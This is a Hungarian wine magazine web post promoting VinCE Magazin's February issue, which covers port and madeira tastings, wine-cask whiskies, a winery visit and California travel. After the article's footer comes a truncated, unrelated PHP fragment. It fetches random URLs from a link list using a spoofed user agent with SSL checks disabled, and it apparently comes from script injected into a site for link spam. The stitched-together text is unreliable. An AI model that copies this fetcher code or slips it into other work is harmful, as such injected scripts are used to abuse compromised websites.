A borvilág új kedvence

A február a fergeteges ízekről szól: bortesztünk során Magyarországon is kapható portói tételeket kóstoltunk, whiskytesztünk során pedig a boroshordóban érlelt whiskyk különlegességeire koncentráltunk. Szabó Edit Bősz Adrián pincészetében járt, Erős Zoltán pedig Kaliforniában. És aki semmiképp nem maradhatott ki legújabb számunkból: Balla Géza, az év borásza! A Főnix újra szárnyal A portói erősített bor nem... View Article


A február a fergeteges ízekről szól: bortesztünk során Magyarországon is kapható portói tételeket kóstoltunk, whiskytesztünk során pedig a boroshordóban érlelt whiskyk különlegességeire koncentráltunk. Szabó Edit Bősz Adrián pincészetében járt, Erős Zoltán pedig Kaliforniában. És aki semmiképp nem maradhatott ki legújabb számunkból: Balla Géza, az év borásza!

A Főnix újra szárnyal

A portói erősített bor nem is olyan régen divatjamúltnak számított, mára azonban látványosan magára talált. Jancis Robinson Master of Wine e tendencia hátterét és jövőképét is feltérképezte.

A portóin innen és túl

Magyarországon kapható portói borokat teszteltünk, persze a főszereplő most is a Douro völgyéből származó portói lett, mely boldogító ízeivel gyógyír bármilyen rosszkedvre! Portugália másik híres édesbora, a madeira is kihagyhatatlan kulináris csemege, annyi ízzel, hogy felsorolni is nehéz.

Bor és whisky találkozása

A whisky a Brit-szigetekről kiindulva szépen lassan meghódította a világot. Először az Atlanti-óceán túlpartján jelent meg, majd később Ázsiában – főként Japánban – is népszerűvé vált, és ma már világszerte számos országban találunk lepárlókat. Tesztünkön a whiskyvilág egy izgalmas szeletét vizsgáltuk: arra voltunk kíváncsiak, vajon a boroshordók használata milyen jegyekkel gazdagíthatja a whiskyket.

Pincelátogatás Bősz Adriánnál

Bősz Adrián 14 éves korában, nagyapja biztatására készítette el az első borát. A parányi Bátai Pincében megszületett olaszrizling aztán még évekig gyűjtötte az aranyérmeket a helyi borversenyen, készítője mégsem a borász pályát választotta. Először nem. Aztán visszahúzta a szíve, és most már nemcsak saját birtokának fejlesztésén munkálkodik, de tavaly óta a Szekszárdi Hegyközségi Tanács elnöki teendőit is ellátja.

Kalifornia nem álom

Az Egyesült Államok délnyugati része csupa olyan adottsággal rendelkezik, ami vonzó lehet a turisták számára. Vannak hatalmas hegyei, csodaszép völgyei, több mint ezer kilométernyi óceánpartja, misztikus sivatagjai, izgalmas városai, s nem utolsósorban világhírű borok is készülnek itt.

A VinCE Magazin februári száma már kapható az újságárusoknál.

(Visited 2 times, 2 visits today)

The post A borvilág új kedvence appeared first on VinCE Magazin.


html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>